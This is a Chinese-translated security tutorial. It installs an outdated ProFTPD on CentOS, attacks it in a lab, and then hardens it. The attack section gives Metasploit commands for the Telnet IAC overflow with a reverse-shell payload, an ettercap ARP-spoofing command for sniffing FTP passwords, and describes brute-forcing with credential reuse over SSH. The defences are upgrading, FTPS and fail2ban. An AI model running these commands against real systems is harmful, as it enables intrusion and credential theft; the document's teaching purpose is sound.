在这篇文章中,我们将学习如何在CentOS机器配置ProFTPD的服务。之后,我们将进行渗透测试,以评估FTP服务的安全性,那么我们也将学习漏洞的对策。 在CentOS Linux机器的安装和配置FTP服务 [1] ProFTPD的源代码库的ProFTPD的服务器(1.3.3a)旧版本的源代码下载,位于ftp://ftp.proftpd.org/distrib/source/proftpd-1.3.3a.tar.bz2.
使用的命令是没有hash签名的Proftpd(2011年) # cd/usr/local/src # wget -c ‘ftp://ftp.proftpd.org/distrib/source/proftpd-1.3.3a.tar.bz2’ [2]对于开发库和编译器的源代码编译,需要安装CentOS的机器上。他们安装使用下面的命令(ProFTPD,2013年): # yum -y groupinstall ‘Development tools’ [3] ProFTPD服务器出于安全原因,作为一个非特权用户在Linux系统上运行。A组被称为ftpd的创建,然后被称为ftpd的用户也创造了属于的ftpd组。使用下面的命令: 使用用命令 作用 Groupadd ftpd 创建一个新组名为ftpd的属于/ etc / group文件。 useradd -G ftpd ftpd 创建一个新的用户名为ftpd,-G参数指定ftpd作为其主组,同事隶属于/ etc / passwd文件。 [4]一旦被添加用户和组的ftpd,下一步是编译源代码的PROFTP服务器,以产生的ProFTPD的二进制,支持FTP(文件传输协议)。使用下面的命令来实现这一点(ProFTPD,2011): 使用用命令 作用 cd /usr/local/src 使用CD命令进入/usr/local/src目录下 tar -jxf proftpd-1.3.3a.tar.bz2 使用tar –jxf参数解压proftpd-1.3.3a.tar.bz2归档文件 cd proftpd-1.3.3a 使用CD命令进入proftpd-1.3.3a文件夹 命令(续) | 作用 | install_user=ftpdinstall_group=ftpd ./configure–prefix=/usr –sysconfdir=/etc | 该命令运行一个shell脚本,称为当前目录中的配置。这个脚本会检查的构建依赖和机器架构上的软件编译。该命令的主要任务是生成一个文件名为“Makefile文件。”“Makefile”文件包含读取make命令编译和安装指示。该install_user和install_group命令指示的用户和组的配置实用程序使用的ProFTPDare ftpd和ftpd的分别。prefix= / USR表示配置实用程序的二进制文件应该被安装在/ usr目录,而不是/ usr / local目录下(默认)下。最后,SYSCONFDIR=/ etc表示configure脚本配置文件应安装在/ etc目录中。 | Make | 该命令编译的二进制文件按装在Makefile中的表示。 | make install | 此命令安装编译好的二进制文件,其中包括名为proftpd的ProFTPD的守护进程。 |
[5]一旦被编译的二进制文件,proftpd的位置被发现使用下面的命令: # which proftpd 该版本也被选中使用下面的命令: #/usr/sbin/proftpd –v [6] ProFTPD服务器的主要配置文件,称为proftpd.conf中,这是位于/ etc,使用vi编辑器编辑。最终的配置文件看起来像下面这样。配置大量(注释#符号开始)的解释: 同一个文件的配置指令,开始<Anonymous ~ftp>结束 </Anonymous> ,它里面的所有指令被注释掉(通过把一个hash符号前面的配置)禁用匿名FTP服务ProFTPD服务器。 最终的配置文件,只允许本地Linux账户/用户(通过/ etc / passwd文件中定义的用户)和chroot到他们的主目录(限制),使他们无法摆脱该目录。 [7]由于ProFTPD的守护进程配置为支持本地Linux账户和他/她的主目录为chroot用户,一个新的用户称为prithak密码,密码加入到Linux系统进行测试。使用下面的命令: # useradd prithak # passwd prithak(enter password prithak twice) 同样,另一位用户名为丹尼尔也被添加到系统中。最后,现在我们系统上有以下的用户: 用户名 密码 prithak 1234qwer daniel 1a2b3c CHINTAN A1B2C3D4 [8] PROFTP服务器(192.168.79.135)在调试模式下启动,并使用内置的Windows ftp命令访问Windows机器(192.168.79.1)。用户prithak(密码prithak)能够成功登录到ProFTPD服务器,并在同一时间生产ProFTPD服务器调试日志在标准输出上,确认登录的细节。 ProFTPD的开始使用以下命令行选项: proftpd -n -d 4 -c /etc/proftpd.conf –ipv4 选项如下: -N 运行ProFTPD的进程在独立模式(必须配置在配置文件中),但没有背景的过程或解除它控制tty的。此外,所有输出(日志或调试消息)发送到stderr,而不是syslog机制。 -D 在调试模式下运行ProFTPD服务器。4个参数增加了冗长的日志4 -C / etc / proftpd.conf中指示ProFTPD的守护程序读取配置文件位于/ etc / proftpd.conf中。 -IPV4 表示ProFTPD的守护进程只监听IPV4地址,即禁用IPV6(如果存在的话)。 [9]要确保服务器上运行的PROFTP(192.168.79.135)开始,每次重新启动Linux的初始化脚本(init脚本)与源PROFTP被复制到:CentOS的INIT V(初始化系统V)脚本目录(/ etc / rc.d / init.d中)。然后脚本可执行文件。最后,使用chkconfig命令打开ProFTPD的服务 # cp /usr/local/src/proftpd-1.3.3a/contrib/dist/rpm/proftpd.init.d /etc/rc.d/init.d/proftpd# chmod 775 /etc/rc.d/init.d/proftpd
# chkconfig proftpd on 侦查、踩点、漏洞利用 [1]侦查和踩点 每一个漏洞评估的第一步是要找到正在运行什么服务和版本的服务,这就是所谓的侦察和踩点。要完成此步骤应启动对目标机的一个端口扫描。nmap的端口扫描器,发起针对本机使用下列参数: root@bt:~# nmap -sS -PN -n -sV -sC 192.168.79.135
Nmap扫描结果表明,远程机器上有两个开放的端口:22(SSH)和21(FTP)。此外,在远程机器上运行的FTP服务器的版本ProFTPD的1.3.3a的SSH是OpenSSH的5.3。此外,SSH服务器只支持SSH协议版本2.0。
[2]缓冲区溢出攻击的ProFTPD 服务 当已知的漏洞ProFTPD的1.3.3a在互联网上搜索,得到结果如下: 该漏洞的“CVE-2010-4221”被认定影响ProFTPD的1.3.3.a,我们运行的版本。据分析,“ 多个基于栈的缓冲区溢出的pr_netio_telnet_gets功能在netio.cProFTPD的1.3.3c之前,允许远程攻击者执行任意代码通过涉及TELNET IAC转义字符(1)FTP的载体或(2 )FTPS服务器。 类似的,CVE-2010-4221漏洞利用在互联网上搜索时,它会导致以下Metasploit exploit:“ProFTPD的1.3.2rc3 – 1.3.3b的Telnet IAC缓冲区溢出(Linux)的。”相同的截图如下所示 要成功利用这个漏洞远程机器运行ProFTPD的易受攻击的版本,Metasploit在 Backtrack Linux系统中使用下列命令: root@bt:~# cd /opt/metasploit/msf3 root@bt:/opt/metasploit/msf3# ./msfconsole ProFTPD的易受攻击版本上运行192.168.79.135该漏洞被加载,使用下面的命令(命令为红色): msf>use exploit/linux/ftp/proftp_telnet_iac msf exploit(proftp_telnet_iac) >set RHOST 192.168.79.135 RHOST => 192.168.79.135 msf exploit(proftp_telnet_iac) >set payload linux/x86/shell_reverse_tcp msf exploit(proftp_telnet_iac)> set LHOST 192.168.79.144 LHOST => 192.168.79.144 msf exploit(proftp_telnet_iac) >exploit –j Metasploit的命令 | 描述 | use exploit/linux/ftp/proftp_telnet_iac | 加载当前文中提到的proftp_telnet_iac漏洞。 | set RHOST 192.168.79.135 | 攻击的目标主机,即被受攻击的机器的IP地址。 | set payload linux/x86/shell_reverse_tcp | 将要执行的shellcode成功利用后。这里payload是可选择。payload 反向连接给攻击者,攻击成功后。漏洞应该连接的IP由LHOST参数设置。 | set LHOST 192.168.79.144 | 设置攻击者的IP地址。 | exploit –j | 作为后台会话启动的漏洞。 |
成功利用此漏洞的结果,获得反弹shell的192.168.79.135(PROFTP)的服务器。创建一个新的会话shell,使用Metasploit的控制台中的“session -l”命令可以列出。 与会话交互,“session –i 1”命令。要检查的权限级别的用户谁触发了反弹shell,使用如下的命令: ID此命令输出的有效用户ID。输出显示,我们有uid和gid 0即root用户。
WHOAMI 此命令是用来输出当前用户的用户名称。这个命令的输出也证实了,我们访问的机器是root权限。 因为我们有超级用户(root)的权限,我们也能够修改/ etc / shadow文件,其中包含了用户的各种系统中的密码哈希,只可读/可写的根用户。下面的截图显示的信息: [2]暴力破解密码攻击PROFTP服务器 开始了对PROFTP服务器的密码暴力破解攻击,下面是由Python脚本写的。这个脚本试图暴力猜解用户prithak 、CHINTAN、daniel的密码。默认的密码文件附带bracktrack作为密码数据库文件。 使用上面的Python脚本,成功暴力破解出FTP用户prithak CHINTAN,丹尼尔的密码。下面的截图显示获取的密码: 由于大多数系统多个服务使用相同的用户名和密码,用户名和密码信息,从先前的攻击是用来对付SSH服务器运行在同一台服务器上。这种攻击也被称为“密码暴力猜解”(Harper,,2011)。密码破解攻击是成功的,上述凭证有效期为SSH登录。下面的截图显示在SSH成功登录: [3] ARP欺骗和密码嗅探攻击 因为FTP协议发送用户名和密码以明文,它是容易受到密码嗅探攻击。在这种攻击中,以下IP机器涉及: 192.168.79.135 PROFTP服务器(FTP服务器) 192.168.79.144 Backtrack(攻击者) 192.168.79.150的Windows XP(FTP客户端) 下面的截图显示的ARP欺骗攻击之前推出的Windows XP主机地址解析协议表: 由此可以看出,所有的主机具有与它们相关联的不同的MAC地址。现在,因为攻击者是在同一个局域网段作为FTP服务器和FTP客户端,它是可能的攻击者发动ARP欺骗攻击,使他可以坐在中间的FTP交流和嗅探密码。要做到这一点,攻击者的计算机上执行以下步骤: 1、 启用IP转发给攻击者的机器,它可以在FTP服务器和FTP客户端之间通信。这是通过使用下面的命令: # echo 1 > /proc/sys/net/ipv4/ip_forward 2、ettercap软件是被用来发起一个ARP欺骗攻击给192.168.79.150【Windows XP(FTP客户端)]和192.168.79.135 PROFTP的服务器(FTP服务器)。使用如下的命令: # ettercap –iface eth4 –text –quiet –mitmarp /192.168.79.150/ /192.168.79.135/ 3、下面的截图显示在Windows XP计算机上发起攻击之前和之后的ARP表: 4、现在,当客户端登录到FTP服务器,ettercap软件来抓起密码并输出。 防御措施 [1]缓冲区溢出利用对策 由于系统上运行的ProFTPD的版本较旧,最有效的对策是安装相同的软件的最新版本。另一种对策是安装FTP服务器更安全的版本,具有很好的安全追踪。pureftpd的服务器似乎比ProFTPD服务器有更好的安全追踪。 应用对策,我们pureftpd的选择升级到最新版本。这是通过类似的步骤,后用来安装旧版本的ProFTPD的。所采用的步骤如下: ProFTPD服务器的运行版本停止使用下面的命令:# service proftpd stop
进入它的源目录,并使用“卸载”命令,删除旧版本的ProFTPD服务器。 # cd /usr/local/src/proftpd-1.3.3a # make deinstall ProFTPD的服务器的源代码最新版本的下载和使用md5sum命令来验证它的MD5校验。下面的屏幕截图显示了信息: ProFTPD的较新版本的编译和安装,使用下面的命令: # tar zxvf proftpd-1.3.5rc2.tar.gz # cd proftpd-1.3.5rc2 # install_user=ftpdinstall_group=ftpd ./configure –prefix=/usr –sysconfdir=/etc –with-modules=mod_tls # make # make install [注:已解释所有这些命令及其用法已经安装了旧版本的ProFTPD的。mod_tls选项使FTP通过SSL / TLS(FTPS)协议的支持。] ProFTPD的版本检查时,它出来,ProFTPD的版本1.3.5rc2。
最新版本的ProFTPD开始然后lsof命令是用来验证FTP服务器正在运行: 它也可以使用以前使用相同的用户名和密码登录到FTP。这证明了确实是升级的FTP服务完美的工作。当先前使用相同的漏洞发起针对该ProFTPD服务器使用Metasploit的,它失败了。这验证服务已被修补。此外,在写作的时候,没有已知漏洞(本地或远程)ProFTPD服务器版本1.3.5-RC2,我们正在运行。 [2]防范密码嗅探攻击可以保证FTP协议使用的FTP SSL(FTPS)协议。可以执行下面的步骤,使FTPS:
1、生成的SSL / TLS证书使用OpenSSL工具与Linux(FALKO,2011): # mkdir /etc/ssl_certs/ # opensslreq -new -x509 -days 730 -nodes -out \ /etc/ssl_certs/proftpd.cert.pem -keyout /etc/ssl_certs/proftpd.key.pem 确保该证书有效期为730天,两年。 2、ProFTPD服务器被配置为支持FTPS协议,通过编辑/etc/proftpd.conf中的配置文件。此外,明文FTP协议被禁止,和FTPS执行。ProFTPD的拒绝明文FTP连接。下面的屏幕截图显示了添加行注释和解释: 3、一旦配置完成后,重新启动ProFTPD的守护进程,使用“service proftpd restart”命令。现在,当Windows 7内置在FTP.EXE客户端被用于使用明文FTP协议连接到服务器,服务器拒绝连接错误消息: “550 SSL/TLS required on the control channel.” 4、为了测试登录,FileZilla的FTP客户端的安装和它能够成功登录到ProFTPD服务器使用SSL / TLS。然而,有关证书的警告讯息显示。这是由于这样的事实,该证书是自签名的。一旦证书被接受,在连续登录,没有任何错误。 此外,用于FTP服务器的密码应该是保密性强。FTP用户应该有自己的shell更改为/bin/false,这会确保FTP用户将无法通过SSH,telnet或TTY会话登录。这样做是使用下面的命令: # chsh -s /bin/false prithak # chsh -s /bin/false daniel# chsh -s /bin/false chintan
# echo /bin/false >> /etc/shells [3]防范密码暴力破解攻击 为了防范密码暴力破解攻击,采取以下步骤: 1、选择强密码和用户密码进行了升级。使用下面的命令: # passwd prithak(提示密码alj234wkjw 82jlk2133当输入两次) # passwdchitan( 当系统提示输入密码234aj%2] 32 [maere输入两次) # passwddaniel( 当系统提示输入密码; 8 @#%2./ere的$ * 0.0 *两次输入) 2、Fail2ban的实用程序ProFTPD的系统上安装和配置。Fail2ban的实用程序可以检测和防止密码暴力破解攻击,通过阻断攻击者的IP地址(ES)。ProFTPD的日志(/var/log/secure)检查,并根据配置,自动插入iptables防火墙规则(次),以阻止违规的IP地址。采取以下步骤来安装和配置ProFTPD的fail2ban的: (1)、Fail2ban的安装使用以下命令(Selvaganeshan,2010): # wgethttp://dl.fedoraproject.org/pub/ ... ease-6-8.noarch.rpm # rpm -ivh epel-release-6-8.noarch.rpm # yum install -y fail2ban (2)、/ etc/fail2ban/jail.conf文件编辑和以下参数改变(Selvaganeshan,2010): bantime = 600 maxretry = 4 bantime定义的秒数来阻止攻击者的IP和的maxretry参数是允许的IP被封锁之前的错误数。因此,在这种情况下,如果任何一个IP有四个以上的失败的登录,是被禁止的。同样,监测ProFTPD的日志也被启用在“proftpd的iptables的”部分: 然后重新启动fail2ban的服务使用下面的命令: # /etc/init.d/fail2ban restart 起初,没有IP地址被fail2ban iptables协助。 默认规则集的fail2ban-ProFTPD链是空的,如下所示: 当FTP密码暴力破解攻击进行IP地址192.168.79.222(backtrack)在ProFTPD服务器(192.168.79.135),检测到的攻击,攻击者的IP地址被阻塞:
iptables的规则来阻止fail2ban的插入IP 192.168.79.222下文重点介绍: 结论 从源代码安装ProFTPD的服务器,并使用缓冲区溢出漏洞攻击,密码嗅探和密码蛮力攻击。此外,服务是固定使用强制SSL / TLS证书和Fail2ban的入侵检测系统,并升级到最新版本的服务。 本文有小安攻防研究室翻译,如有翻译错误请联系管理员纠正,转载请注明地址谢谢。 原文:http://resources.infosecinstitut ... -of-an-ftp-service/ 参考: http://openmaniak.com/ettercap.php http://www.howtoforge.com/setting-up-proftpd-tls-on-debian-squeeze. http://www.proftpd.org/docs/howto/Compiling.html |